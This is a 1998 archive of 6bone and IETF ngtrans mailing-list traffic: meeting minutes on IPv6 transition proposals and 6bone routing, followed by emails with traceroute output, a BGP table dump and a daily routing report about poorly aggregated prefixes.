IPv6/IPv4 hosts.  The IPv6/IPv4 hosts use DHCP to acquire their
temporary IPv4 addresses.  Two cases of communication are handled:

   1)   IPv6/IPv4 host initiating communication with an IPv4 host.
   2)   IPv4 host initiating communication with an IPv6/IPv4 host.

IPv4 packets between the IPv6/IPv4 host and the AIIH server can be
carried in three forms:

   1)   Tunneled in IPv6.
   2)   Tunneled in IPv4.
   3)   Carried as native IPv4 packets.

More details on this proposal can be found in Jim's slides are located
at:

<ftp://sipper.zk3-x.dec.com/pub/aatn_aiih_0498.zip>ftp://sipper.zk3-x.dec.c
om/pub/aatn_aiih_0498.zip
<ftp://sipper.zk3-x.dec.com/pub/ngtrans_aiih_0498.zip>ftp://sipper.zk3-x.de
c.com/pub/ngtrans_aiih_0498.zip

A few questions were raised in the discussion of this proposal:

   -    Someone asked what specific changes an IPv6 host implementation
        would need to make in order to implement AIIH.  Jim said that
        the primary change would be adding the facility to acquire an
        IPv4 address via DHCP when needed.

Jim would like feedback on this proposal now.  He plans on releasing
an updated version of this document before the Chicago IETF meeting.

____

NAT-PT I-D- George Tsirtsis & Pyda Srisuresh

George Tsirtsis and Pyda Srisuresh presented theirnew Internet-Draft titled 
"Network Address Translation - Protocol Translation (NAT-PT)".  This is a
revision of his earlier I-D of the same name.  This draft adds a lot of
new material and is about 3 times larger than the old version.

The general objective of this proposal is to allow areas of IPv6-only
nodes, or IPv6/IPv4 dual nodes using only IPv6 addresses (no IPv4
addresses), to be deployed.  This would allow sites to achieve the
benefits of converting a site completely to IPv6, avoiding the need
to maintain and administer IPv4 throughout the site.

The proposal employs techniques analogous to IPv4 NAT and port
translation to allow IPv6 nodes to communicate with IPv4 nodes.  It
envisions NAT-PT translator nodes being deployed at the borders of
IPv6 networks.  The same technique could be used for stub dual
IPv6/IPv4 networks, or stub IPv4 networks.

The NAT-PT translator nodes perform stateful header translation
between IPv4 and IPv6, basing the translation on mappings between IPv6
addresses and IPv4 addresses that are generated on the fly (in
response to traffic) or in response to DNS queries.  The translators
may manage pools of IPv4 addresses that are used for these mappings.
Additionally, they may intercept and translate DNS queries and replies.

Changes to the I-D in this version include:

   -    Extended to allow the use of any prefix
   -    Added some new DNS interactions
   -    Added support for port translation
   -    Merged in the header translation mechanisms from Erik Nordmark's

        SIIT Internet-Draft

The presentation walked through three different scenarios: one case of
an IPv6 node initiating communication with an IPv4 node, and two cases
of an IPv4 node initiating communication with an IPv6 node.

More details of the proposal can be found at:

ftp://ftp.labs.bt.com/pub/tsirtsg/41-IETF-NATPT.zip

http://www.livingston.com/Tech/IETF/natpt


Several issues were raised in the discussion that followed:

   -    Tony Hain pointed out that the document needs to discuss
        applicability of this technique (what types of sites could use
        it, what types should not), and also needs to discuss scaling
        issues.

   -    Brian Carpenter suggested that the group needs to consider how
        this technique would combine with the various other transition
        techniques, and API issues it raises.

   -    Concern was raised about the translation of DNS queries and
        replies.  It was not clear whether this could be made to work
        with signed DNS queries/replies.

____

SMTP issues in IPv4/v6 environment - Kazuhiko Yamamoto

A presentation of SMTP use in dual-stack environments was given by Kazu
Yamamoto of the WIDE project.  The WIDE project now has dual IPv4/IPv6 stack
MTAs ready for testing, and thus experimented with registering MX records for
IPv6 MTAs and what happens to IPv4 only MTA servers.

Results were that IPv4-only Sendmail/Bind has no problem with AAAA
records(Sendmail 5.61 or later and Bind 4.8.3 or later), but when MX records
were used which refer to A and AAAA records there were problems.  

Further experimentation is planned and will be reported as appropriate.

(chair's note:  this work probably falls more under the 6bone rather than the
tools portion of ngtrans, thus will be scheduled there in the future.)

________________________________________________________________________ 

ngtrans 6bone portion of meeting, chaired by Bob Fink

Discussion:   6bone@isi.edu (6BONE Mailer) 
Subscribe:    majordomo@isi.edu "subscribe 6bone" 
Archive:      
http://www.ipv6.nas.nasa.gov/6bone/

Web site:
http://www.6bone.net

____

6bone Status report - Bob Fink & David Kessens

A brief status of the 6bone was given by Bob Fink of ESnet and David
Kessens of
ISI.

    240 sites in 32 countries
    14 host and 14 router implementations (probably more at this time)
    45 sites participating in the 6bone backbone
    site, routing and address delegation done thru 6bone registry at ISI
      courtesy of David Kessensof ISI
      some new RPSL features in use on the registry
    maps and many statistics automatically made up from 6bone registry
      courtesy of Andrew Scott of Lancaster Univ.
    reverse DNS registry courtesy of Bill Manning of ISI

____

6bone routing issues I-D - Bertrand Buclin & Alain Durand

A presentation was made of <draft-ietf-ngtrans-6bone-routing-issues-02.txt>
was
made.  This I-D is based on the following routing principles:

The 6bone is a hierarchical network with
    backbone sites acting as pseudo TLAs (pTLAs)
    pseudo NLAs (pNLAs) providing transit services below pTLAs
    leaf sites

pTLAs MUST use BGP4+ between them

Multihomed sites SHOULD use BGP4+

Leaf sites MAY use default routing

Aggregation MUST be performed by border routers
    Specially true for pTLAs

There are a set of rules for 

    Link Local prefixes
    Site Local prefixes
    Special case prefixes
    Multicast prefixes
    IPv4 mapped prefixes
    IPv4 compatible prefixes
    Undefined Unicast prefixes
    Default routes
    Aggregation and advertisement issues
    Inter site links

This document will be revised based on minor comments and recirculated.

____

6bone routing reports and related issues - Masaki Hirabaru

A presentation of the new Merit 6bone Routing Reports was given by Masaki
Hirabaru of Merit.  These reports are collected by an MRT routing daemon and
processed with the IPMA statistics tool.  An email list for the daily reports
is available that gives the size of the 6bone routing table, how many unique
AS's are in use, how many BGP4+ announcements, withdrawals and unique routes
there are, a list of the most poorly aggregated announcments and the top five
most active prefixes.  A route flap graph is also available.

Initial use of the tool shows too many routing changes for so few routes, thus
indicating possible routing software/protocol problems.  The reports can also
be used to encourage aggregation and detect incorrect configurations.
Feedback on, and use of, these reports is encouraged.

The reports can be subscribed to by sending email to majordomo@merit.edu with
"subscribe 6bone-routing report" in the message.  A hypemail archive is
available at:

    http://www.merit.edu/mail.archives/html/6bone-routing-report

The Rout Flap Graph is at:

    http://www.merit.edu/mail.archives/~ipma/java/FlapGraph.html

____

Multihomed routing domain issues for IPv6 aggregatable scheme I-D - Francis
Dupont

A presentation was made of current ideas for handling IPv6 site multihoming by
Francis Dupont of Inria.  A one hour session on this topic was held in the
hour
preceding this ngtrans meeting.  There are several different approaches
possible to this problem, several of which share problems and solutions with
IPv4.

Francis Dupont can provide multiprovider presentations in FIG, PostScript (A4)
and GIF formats upon request:

 Francis Dupont <Francis.Dupont@inria.fr> 


Bob Fink noted that this work may best be done under the Routing Area to
encourage wider participation in the discussion and solutions for site
multihoming, a path he has agreed to pursue with the head of the Routing Area.

____

6bone transit through CAIRN - Maryann Maher

A brief overview was given of Allison Mankin's CAIRN native IPv6 6bone
backbone
proposal by Maryann Maher of ISI-East.  In brief, the CAIRN project is willing
to provide native IPv6 backbone service across the US, on a testing use basis,
from CAIRN's points of prescence at LBL, ISI-West, MCI, ISI-East and UCL.

More information can be gotten from:
<http://www.cairn.net/>http://www.cairn.net/

____

IPSEC proposition - Maryann Maher

Maryann maher of ISI-East presented Allison Mankin's request to the 6bone
project that IPSEC AUTH functionality be required in 6bone routers by the end
of the year. Though there was a sense of agreement that it was appropriate for
the 6bone to push the development and testing of security for routers, there
was also a bit of confusion of just what was meant by this proposal.  Bob Fink
will request Allison to make a specific proposal that can be considered on the
mail list.

____

Win-NT IPv6 public source - Richard Draves

A short presentation of the new Windows NT IPv6 implementation by Microsoft
Research was given by Richard Draves of Microsoft.  He noted that this work
was
also being supported by Allison Mankin's group at ISI-East.

The source and binary release was made on March 24, 1988, and can be retrieved
from:

   
<http://www.research.microsoft.com/msripv6>http://www.research.microsoft.com
/msripv6

It is being released to promote research, education and testing, and is not
intended for commercial use.  There is no support for Windows 95 or 98.  It is
copyrighted and distributed under a license.  Richard specifically encouraged
those with troubles agreeing to the license to contact him to see if something
mututally agreeable can be arranged.

Richard noted that, although it was released for NT version 4, he had been
able
to easily run it on NT version 5 as well, though he needed to make an
installation procedure change.

Initially the following works:

BaSic IPv6 header processing
Neighbor Discovery
Stateless autoconfiguration
Partial ICMPv6 (basically ping support, but not error messages)
Partial Multicast Listener Discovery
Automatic and configure tunnels
IPv6 over IPv4 per the Carpenter/Jung draft
UDP and TCP over IPv6
ping, traceroute, ttcp, ftp/ftpd, NetMon

What's missing:

Security and Auth headers
Mobility support
Routing
Applications as follows
  Web client/server
  File client/server (i.e., Microsoft Networking)
  DNS client/server
v6/v4 translation

____

pTLA asignment rules - Bob Fink

Delayed to an informal lunchtime meeting the day after the ngtrans meeting.
When presented to the lunchtime group, there was no further comment on the
pTLA
assignment rules presented by Bob Fink of ESnet, other than that some folk are
unwilling to say a site cannot do something.  Bob noted that these rules have
been presented before on the 6bone list and that he will continue to require
new pTLA requestors to respond to the four criteria, to the list, so general
sentiment can be heard.  He will then make a decision based on the requestor's
response and the sentiment expressed.

Bob encouraged those that do not like any particular policy he is enforcing to
comment to him directly or to the list.

____

steps to clean up the backbone - Bob Fink

Delayed to an informal lunchtime meeting the day after the ngtrans meeting.
Bob
Fink of ESnet presented some of his problems and possible solutions about the
6bone backbone and its general cleanup:

Various problems
– reliability 
– old addresses in use
– invalid tunnels
– routing loops
– non BGP4+ peering
– incomplete registry info
– no address delegation through the registry

Various solutions
– enforcing registry rules (e.g., if no correct entry no listing shown)
– pulling pTLAs for sites not providing good service or incomplete and
inaccurate registry entry
– publish top ten “worst site” list
– various tools to show what doesn’t work

Alain Durand then spoke in favor of terminating pTLA sites that were not
following various rules as expressed in the 
6bone routing issues I-D.  Several folk (Bertrand Buclin, Guy Davies and
others) spoke against the harsh enforcement of rules as being inappropriate
for
the 6bone and its testing nature.

The general consensus seemed to be that report-based enforcement was more
appropriate for the 6bone.  Thus a set of rules would be agreed upon (say the
Buclin/Durand draft) and reports would target those not complying. 

It was also agreed that a 6bone-ops list made up of 6bone registry contacts
would be a better place for reports than the main 6bone list.  This would also
help enforce the use of the registry for participating sites.

Bob agreed to publish to the 6bone list a general proposal for a way to start
the cleanup process based on discussions from this session.

____

tools to help clean up the backbone - Ivano Guardini - 10 mins

Delayed to an informal lunchtime meeting the day after the ngtrans meeting. 
Ivano Guardini of CSELT gave a presentation of the new ASpath-tree tool that
monitors BGP4+ routing, resulting from work of both Ivano and Paolo Fasano
also
of CSELT.  This tool provides a graphical view of the BGP4+ routing tree
towards the 6bone.  The results are obtained by elaborating the AS path
information available in the BGP4+ routing table of an IPv6 border router
terminating BGP4+ capable tunnels.  Results are presented automatically as
html
pages.  See:

   
<http://carmen.cselt.it/ipv6/bgp/index.html>http://carmen.cselt.it/ipv6/bgp/
index.html

The tools was developed as a set of unix scripts in Perl 5.0, and tested on a
Solaris 2.5.1 workstation.  BGP4+ routes are collected using rsh commands, and
the current script handles Cisco routers.  Required inputs for the program
are:

    the 6bone registry database

    the 6bone pTLA list

Ivano then showed various sample results from a CSELT viewpoint using
ASpath-tree.  For future work the following was given:

    Automatic detection of BGP4+ routing anomolies
      unaggregatedprefixes, wrong prefix advertisements ...

    Provide information on BGP4+ routing stability

    Use of SNMP for data acquisition

    ...and the desire for suggestions from the 6bone community

Ivano asked that other pTLA sites install the code, which is available at:

    ftp://carmen/cselt.it/pub/ASpath-tree.tar.gz

-end


From 6bone-owner  Wed Apr 22 05:47:11 1998
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Date: Wed, 22 Apr 1998 14:46:57 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: Unaggregated prefixes in the BGP4+ cloud
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Cc: Fasano Paolo <Paolo.Fasano@CSELT.IT>
Message-id: <EECB401D8EB3D111B26800805FC130FC13EB2B@xrr1.cselt.stet.it>
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Hi all,

as many of you probably already know, at CSELT we are making available a
set of html pages (http://carmen.cselt.it/ipv6/bgp/index.html) showing
the BGP4+ routing tree from CSELT to the whole 6Bone and from CSELT to
the 6Bone backbone.
These pages are updated every 5 min and looking at the most recent
results (http://carmen.cselt.it/ipv6/bgp/bgp-page-complete.html) I have
observed that I am receiving several BGP4+ routes towards excessive long
prefixes (/124 and longer!). In addition some of these routes are
associated to excessive long AS paths (from 10 to 15 hops!).

I could easily solve the problem placing some BGP4+ input filters on my
IPv6 border routers (e.g. blocking all the prefixes longer than /64
should be enough to clean up my routing tables).
But before doing that I would like to know if somebody else is already
adopting this kind of policy inside the 6Bone.

I am wondering if the correct way to solve the problem is to place
filters on the routers or to send e-mails in order to help every BGP4+
speaker to perform correct advertisements.

Opinions would be appreciated.

   Bye

       Ivano


---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.it
---------------------------------------------------


From 6bone-owner  Wed Apr 22 07:12:26 1998
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Date: Wed, 22 Apr 1998 04:44:26 -0700
To: Jean-Luc Richier <Jean-Luc.Richier@imag.fr>, ngtrans@sunroof.Eng.Sun.COM
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: (ngtrans) Number of IPv6 hosts
Cc: David Kessens <davidk@ISI.EDU>, 6bone@ISI.EDU
In-Reply-To: <199804221246.OAA02833@horus.imag.fr>
References: <Bill Manning's message as of Apr 22,  2:46.>
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Jean-Luc,

I noticed this yesterday and sent a request to David Kessens at ISI to look
at the problem.  No repsonse yet.


Thanks,

Bob

At 02:46 PM 4/22/98 +0200, Jean-Luc Richier wrote:
>Follwing the current IPng discussion, I tried to control the entris in the
>database for the members of the G6 group.
>I have a problem to contact whois.6bone.net
>traceroute points to a routing loop inside the isi.edu domain
>Can you do something
>
>Thanks
>
>horus.imag.fr(47) traceroute whois.6bone.net
>traceroute to whois1.avalon.rs.net (198.32.4.102), 30 hops max, 40 byte
packets
> 1  imag-campus (129.88.38.254)  9 ms  6 ms  5 ms
> 2  r-ujf.grenet.fr (193.54.185.126)  10 ms  5 ms  5 ms
> 3  aramis-ft.grenet.fr (193.54.184.2)  10 ms  19 ms  5 ms
> 4  194.199.224.121 (194.199.224.121)  66 ms  42 ms  32 ms
> 5  grenoble.renater.ft.net (194.199.224.114)  63 ms  39 ms  24 ms
> 6  stamand1.renater.ft.net (195.220.180.5)  31 ms  48 ms  59 ms
> 7  rbs1.renater.ft.net (195.220.180.50)  34 ms  56 ms  52 ms
> 8  raspail.renater.ft.net (195.220.180.217)  31 ms  37 ms  19 ms
> 9  bagnolet-eurogate.renater.ft.net (195.220.180.225)  108 ms  75 ms *
>10  193.55.152.66 (193.55.152.66)  112 ms  133 ms  128 ms
>11  sl-pennsauken-hssi.eurogate.net (194.206.207.34)  180 ms *  210 ms
>12  * sl-bb10-pen-0-2.sprintlink.net (144.232.5.13)  186 ms  142 ms
>13  144.232.5.62 (144.232.5.62)  175 ms *  129 ms
>14  f2.peer1.nyc1.genuity.net (192.157.69.49)  136 ms  161 ms  132 ms
>15  core1.lax1.genuity.net (207.240.0.5)  213 ms  270 ms  229 ms
>16  fe-6-0.peer1.lax1.genuity.net (207.240.1.30)  297 ms  194 ms *
>17  198.32.146.10 (198.32.146.10)  298 ms  175 ms  220 ms
>18  * bah.isi.edu (128.9.160.26)  239 ms  220 ms
>19  lngw2.isi.edu (128.9.160.249)  212 ms  204 ms *
>20  * bah.isi.edu (128.9.160.26)  221 ms *
>21  lngw2.isi.edu (128.9.160.249)  199 ms  218 ms  260 ms
>22  * * *
>23  lngw2.isi.edu (128.9.160.249)  193 ms  195 ms  371 ms
>24  bah.isi.edu (128.9.160.26)  274 ms^C
>
>-- 
>Jean-Luc RICHIER (Jean-Luc.Richier@Imag.Fr  richier@imag.fr)
>Laboratoire Logiciels, Systemes et Reseaux (LSR-IMAG)
>IMAG-CAMPUS, BP 72, F-38402 St Martin d'Heres Cedex
>Tel : +33 4 76 82 72 32 Fax : +33 4 76 82 72 87
> 

From 6bone-owner  Wed Apr 22 10:42:16 1998
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From: bmanning@ISI.EDU
Posted-Date: Wed, 22 Apr 1998 10:39:23 -0700 (PDT)
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Subject: 6bone registry access restored
To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
Date: Wed, 22 Apr 1998 10:39:23 -0700 (PDT)
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The cable that connects the network segment wherein the
6bone registry machine resides was reseated. It was apparently
knocked loose when someone decided to use the facility for
empty box storage.

sandbox>ping whois.6bone.net       

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 198.32.4.102, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
sandbox>


--bill

From 6bone-owner  Wed Apr 22 11:48:19 1998
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Subject: Re: (ngtrans) Number of IPv6 hosts
To: rlfink@lbl.gov (Bob Fink)
Date: Wed, 22 Apr 1998 11:45:20 -0700 (PDT)
Cc: Jean-Luc.Richier@imag.fr, ngtrans@sunroof.eng.sun.com, davidk@ISI.EDU,
        6bone@ISI.EDU
In-Reply-To: <1318893354-110707591@cnrmail.lbl.gov> from "Bob Fink" at Apr 22, 98 04:44:26 am
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Bob, see the earlier note about the restoral of service.


> 
> Jean-Luc,
> 
> I noticed this yesterday and sent a request to David Kessens at ISI to look
> at the problem.  No repsonse yet.
> 
> 
> Thanks,
> 
> Bob
> 
> At 02:46 PM 4/22/98 +0200, Jean-Luc Richier wrote:
> >Follwing the current IPng discussion, I tried to control the entris in the
> >database for the members of the G6 group.
> >I have a problem to contact whois.6bone.net
> >traceroute points to a routing loop inside the isi.edu domain
> >Can you do something
> >
> >Thanks
> >
> >horus.imag.fr(47) traceroute whois.6bone.net
> >traceroute to whois1.avalon.rs.net (198.32.4.102), 30 hops max, 40 byte
> packets
> > 1  imag-campus (129.88.38.254)  9 ms  6 ms  5 ms
> > 2  r-ujf.grenet.fr (193.54.185.126)  10 ms  5 ms  5 ms
> > 3  aramis-ft.grenet.fr (193.54.184.2)  10 ms  19 ms  5 ms
> > 4  194.199.224.121 (194.199.224.121)  66 ms  42 ms  32 ms
> > 5  grenoble.renater.ft.net (194.199.224.114)  63 ms  39 ms  24 ms
> > 6  stamand1.renater.ft.net (195.220.180.5)  31 ms  48 ms  59 ms
> > 7  rbs1.renater.ft.net (195.220.180.50)  34 ms  56 ms  52 ms
> > 8  raspail.renater.ft.net (195.220.180.217)  31 ms  37 ms  19 ms
> > 9  bagnolet-eurogate.renater.ft.net (195.220.180.225)  108 ms  75 ms *
> >10  193.55.152.66 (193.55.152.66)  112 ms  133 ms  128 ms
> >11  sl-pennsauken-hssi.eurogate.net (194.206.207.34)  180 ms *  210 ms
> >12  * sl-bb10-pen-0-2.sprintlink.net (144.232.5.13)  186 ms  142 ms
> >13  144.232.5.62 (144.232.5.62)  175 ms *  129 ms
> >14  f2.peer1.nyc1.genuity.net (192.157.69.49)  136 ms  161 ms  132 ms
> >15  core1.lax1.genuity.net (207.240.0.5)  213 ms  270 ms  229 ms
> >16  fe-6-0.peer1.lax1.genuity.net (207.240.1.30)  297 ms  194 ms *
> >17  198.32.146.10 (198.32.146.10)  298 ms  175 ms  220 ms
> >18  * bah.isi.edu (128.9.160.26)  239 ms  220 ms
> >19  lngw2.isi.edu (128.9.160.249)  212 ms  204 ms *
> >20  * bah.isi.edu (128.9.160.26)  221 ms *
> >21  lngw2.isi.edu (128.9.160.249)  199 ms  218 ms  260 ms
> >22  * * *
> >23  lngw2.isi.edu (128.9.160.249)  193 ms  195 ms  371 ms
> >24  bah.isi.edu (128.9.160.26)  274 ms^C
> >
> >-- 
> >Jean-Luc RICHIER (Jean-Luc.Richier@Imag.Fr  richier@imag.fr)
> >Laboratoire Logiciels, Systemes et Reseaux (LSR-IMAG)
> >IMAG-CAMPUS, BP 72, F-38402 St Martin d'Heres Cedex
> >Tel : +33 4 76 82 72 32 Fax : +33 4 76 82 72 87
> > 
> 


-- 
--bill

From 6bone-owner  Wed Apr 22 22:54:03 1998
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Date: Thu, 23 Apr 1998 00:53:54 -0500 (CDT)
From: Nikos Mouat <nikm@savvis.com>
Reply-To: Nikos Mouat <nikm@savvis.com>
To: 6bone@ISI.EDU
cc: ipv6-support@cisco.com
Subject: 0::0
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Hi,
   Should I be seeing these routes?? I just noticed after an upgrade to
11.3(19980421:205904) [raj-ipv6 111] but wasn't looking before that so
they may have been there..

nm


BGP IPv6 table version is 320, local router id is 206.129.255.20 
Status codes: * - valid, > - best, i - internal 
Origin codes: i - IGP, e - EGP, ?  - incomplete

  0::0/32
	 *  3FFE:1500::FFFE:0:0:25 FE80::C5A:CB51:17 Tunnel3 3582 3274 5539 1273 1835 3263 2839 1103 1275 1225 5609 1849 786 109 5623 1717 137 ?
	 *> 3FFE:C00:E:7::1 FE80::60:3E11:6770:22 Tunnel1 109 5623 1717 137 ?
  0::0/21
	 *> 3FFE:1500::FFFE:0:0:25 FE80::C5A:CB51:17 Tunnel3 3582 i
	 *  3FFE:C00:E:7::1 FE80::60:3E11:6770:22 Tunnel1 109 5623 1849 3582 i
  0::0/7
	 *> 3FFE:1500::FFFE:0:0:25 FE80::C5A:CB51:17 Tunnel3 3582 293 137 ?
	 *  3FFE:C00:E:7::1 FE80::60:3E11:6770:22 Tunnel1 109 5623 1717 137 ?
  0::0/3
	 *> 3FFE:1500::FFFE:0:0:25 FE80::C5A:CB51:17 Tunnel3 3582 293 137 ?
	 *  3FFE:C00:E:7::1 FE80::60:3E11:6770:22 Tunnel1 109 5623 559 137 ?
  0::0/1
	 *  3FFE:1500::FFFE:0:0:25 FE80::C5A:CB51:17 Tunnel3 3582 3274 5539 1273 1835 3263 2839 1103 1275 1225 5609 1849 786 109 5623 1717 137 ?
	 *> 3FFE:C00:E:7::1 FE80::60:3E11:6770:22 Tunnel1 109 5623 1717 137 ?
  0::0/0
	 *> 3FFE:1500::FFFE:0:0:25 FE80::C5A:CB51:17 Tunnel3 3582 1225 109 i



From 6bone-owner  Sun Apr 26 13:09:20 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 04/24/98 6Bone Routing Report
Date: Sun, 26 Apr 1998 13:09:01 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-6bone@zephyr.isi.edu
Precedence: bulk
Status: RO

I've been watching these reports for several weeks now... I've seen the
number of announcements vary by two orders of magnitude. I assume that when
it is very high (as in the report below), that means there is something
broken? Is there anyone out there who takes an interest in ferreting out
these problems?

Just curious,
Rich 

> -----Original Message-----
> From:	owner-6bone-routing-report@merit.edu
> [SMTP:owner-6bone-routing-report@merit.edu]
> Sent:	Friday, April 24, 1998 11:14 PM
> To:	6bone-routing-report@merit.edu
> Subject:	04/24/98 6Bone Routing Report
> 
> See http://www.merit.edu/ipma for a more detailed report on 
> routing problems and recommendations on ways service providers can
> limit the spread of invalid routing information.
> Send comments and questions to ipma-support@merit.edu
> 
> To unsubscribe from this list, send mail to 
>     6bone-routing-report-request@merit.edu.
> A hypermail archive is available at
> 	http://www.merit.net/mail.archives/html/6bone-routing-report/
> 
> Also see http://www.caida.org for more information about Internet
> statistics
> collection research efforts.
> 
> ---------------------------------------------
> This report is for 04/24/98.
> ---------------------------------------------
> 
> Size of 6Bone Routing Table:
> 	Max = 124, Min = 107, Average = 116
> 	40 Unique Autonomous System (AS) numbers
> 
> BGP4+ Traffic Summary:  
> 	Announcements=1046901    Withdraws=184825   Unique Routes=159
> 
> Poorly Aggregated Announcements:
> --------------------------------
>   20:53:49 3ffe:2101:0:ffff::ffff:ffff/127 from 3ffe:c00:e:b::1 (109)
>   00:07:51 3ffe:1500::fffe:0:0:10/126 from 3ffe:1c00:0:60::153 (237)
>   00:05:49 3ffe:1500::fffe:0:0:11/126 from 3ffe:900:0:3::1 (1225)
>   00:07:51 3ffe:1500::fffe:0:0:c/126 from 3ffe:1c00:0:60::153 (237)
>   00:05:49 3ffe:1500::fffe:0:0:d/126 from 3ffe:900:0:3::1 (1225)
>   00:07:51 3ffe:1500::fffe:0:0:14/126 from 3ffe:1c00:0:60::153 (237)
>   00:05:50 3ffe:1500::fffe:0:0:15/126 from 3ffe:900:0:3::1 (1225)
>   02:43:31 3ffe:2000:0:1:ffff:ffff:ffff:fff0/124 from 3ffe:900:0:3::1
> (1225)
>   00:08:01 3ffe:2101:0:ffff::2/127 from 3ffe:c00:e:b::1 (109)
>   00:07:51 3ffe:1500::fffe:0:0:18/126 from 3ffe:1c00:0:60::153 (237)
>   00:05:50 3ffe:1500::fffe:0:0:19/126 from 3ffe:900:0:3::1 (1225)
>   14:08:28 3ffe:1500:fffe::c/126 from 3ffe:1c00:0:60::153 (237)
>   00:07:59 3ffe:f01:0:ffff::6/127 from 3ffe:c00:e:b::1 (109)
>   00:07:42 3ffe:f01:0:ffff::7/127 from 3ffe:900:0:3::1 (1225)
>   00:08:01 3ffe:2000:0:1::60/124 from 3ffe:c00:e:b::1 (109)
>   00:07:51 3ffe:1500::fffe:0:0:1/126 from 3ffe:1c00:0:60::153 (237)
>   00:07:51 3ffe:1500::fffe:0:0:4/126 from 3ffe:1c00:0:60::153 (237)
>   00:07:24 3ffe:1001:1:ffff::/126 from 3ffe:c00:e:b::1 (109)
>   13:21:56 3ffe:700:20:2::a/126 from 3ffe:900:0:3::1 (1225)
>   00:05:49 3ffe:1500::fffe:0:0:5/126 from 3ffe:900:0:3::1 (1225)
>   00:07:51 3ffe:1500::fffe:0:0:8/126 from 3ffe:1c00:0:60::153 (237)
>   00:07:51 3ffe:c00:8004:1::/80 from 3ffe:1c00:0:60::153 (237)
>   21:16:50 3ffe:2000:0:ff:ffff:ffff:ffff:ffff/124 from 3ffe:c00:e:b::1
> (109)
>   00:05:49 3ffe:1500::fffe:0:0:9/126 from 3ffe:900:0:3::1 (1225)
>   00:08:01 3ffe:302:11:2:0:2:0:50/124 from 3ffe:c00:e:b::1 (109)
>   18:11:44 3ffe:700:20:2:ff:ffff:ffff:ffff/126 from 3ffe:900:0:3::1 (1225)
>   14:08:28 3ffe:1c00::3/128 from 3ffe:1c00:0:60::153 (237)
>   00:05:11 3ffe:1500:0:0:fffe::/126 from 3ffe:900:0:3::1 (1225)
>   04:21:13 3ffe:302:ffff:ffff:ffff:ffff:ffff:ffff/124 from 3ffe:900:0:3::1
> (1225)
>   10:11:20 3ffe:1500::fffe:0:ffff:ffff/126 from 3ffe:1c00:0:60::153 (237)
>   00:07:51 3ffe:1500::fffe:0:0:20/126 from 3ffe:1c00:0:60::153 (237)
>   00:05:50 3ffe:1500::fffe:0:0:21/126 from 3ffe:900:0:3::1 (1225)
>   11:17:45 3ffe:1001:1:ffff::1/126 from 3ffe:900:0:3::1 (1225)
>   00:07:51 3ffe:1500::fffe:0:0:24/126 from 3ffe:1c00:0:60::153 (237)
>   00:05:50 3ffe:1500::fffe:0:0:25/126 from 3ffe:900:0:3::1 (1225)
>   06:37:44 3ffe:1500:ff:ffff:ffff:ffff:ffff:ffff/126 from 3ffe:900:0:3::1
> (1225)
>   00:08:01 3ffe:700:20:2::8/126 from 3ffe:c00:e:b::1 (109)
>   14:08:15 3ffe:dfe:fffe::8/126 from 3ffe:1c00:0:60::153 (237)
>   00:07:51 3ffe:1500::fffe:0:0:1c/126 from 3ffe:1c00:0:60::153 (237)
>   00:05:50 3ffe:1500::fffe:0:0:1d/126 from 3ffe:900:0:3::1 (1225)
>   22:15:25 3ffe:2101:0:ffff:0:ff:ffff:ffff/127 from 3ffe:c00:e:b::1 (109)
> 
> 
> 
> The top five most active prefixes:
> ----------------------------------
> 1. 3ffe:2101:0:ffff::2/127 had 33502 BGP+ Updates (1568 unique aspaths)
>   3263 1275 1717 5623 1849 5609 48 1752  
>   1225 109 5623 5609 48 1752  
>   109 1225 1849 2839 1103 1717 5623 5609 48 1752  
>   1225 1103 1275 1717 1835 1849 5609 48 1752  
>   1673 1103 786 1717 5623 1225 109 1849 5609 48 1752  
>   3263 1103 1275 559 1717 5623 1225 48 1752  
>   1673 1103 786 1849 1225 5609 48 1752  
>   1225 5609 5623 1717 1103 293 1849 109 48 1752  
>   109 1225 1103 293 1849 1752  
>   109 5623 1225 5609 1849 1752  
>   1673 1103 1275 559 5623 109 48 1752  
>   ...Truncated...
> 
> 2. 3ffe:700::/24 had 33265 BGP+ Updates (217 unique aspaths)
>   1673 1103 1835 3263 1275 293  
>   109 5623 1225 1673 293  
>   109 33 1225 1849 1103 293  
>   1225 33 109 1849 1103 293  
>   109 1849 33 2914 293  
>   109 1849 4555 1103 293  
>   109 1225 1103 293  
>   109 33 1849 1835 1103 293  
>   1225 48 109 1849 33 293  
>   1225 1849 109 33 2914 293  
>   1225 48 109 293  
>   ...Truncated...
> 
> 3. 3ffe:2c00::/24 had 32097 BGP+ Updates (1529 unique aspaths)
>   109 33 5623 1717 1835 1849 1225 5609 48 1752  
>   109 1225 1103 1275 1717 1835 1273 5539 1849 5609 48 1752  
>   1673 1103 786 1717 1835 1849 5609 48 1752  
>   1225 109 5623 5609 48 1752  
>   1225 1103 1275 1717 1835 1849 5609 48 1752  
>   1673 1103 786 1717 5623 1225 109 1849 5609 48 1752  
>   109 33 1225 5609 5623 1717 1103 293 1849 1752  
>   1225 33 1849 2839 1103 293 4555 109 48 1752  
>   1673 1103 786 1849 1225 5609 48 1752  
>   1673 1103 1717 5623 5609 1849 33 1225 48 1752  
>   109 1225 1103 293 1849 1752  
>   ...Truncated...
> 
> 4. 3ffe:1a00::/24 had 31414 BGP+ Updates (1551 unique aspaths)
>   109 1225 1103 1835 1849 5609 48 7081  
>   1225 33 5623 1717 786 1103 1849 5609 48 7081  
>   1673 1103 1225 109 1849 5609 48 7081  
>   1673 1103 786 1849 5609 48 7081  
>   1225 33 1849 2839 1103 1275 559 3303 5623 109 48 7081  
>   1225 5609 5623 1717 1103 2839 1849 109 48 7081  
>   1225 1673 1103 1275 1717 5623 109 48 7081  
>   1225 5623 1717 1103 1835 1849 5609 48 7081  
>   109 4555 1849 1835 1103 1717 5623 5609 48 7081  
>   1225 109 33 5623 1717 1103 2839 1849 5609 48 7081  
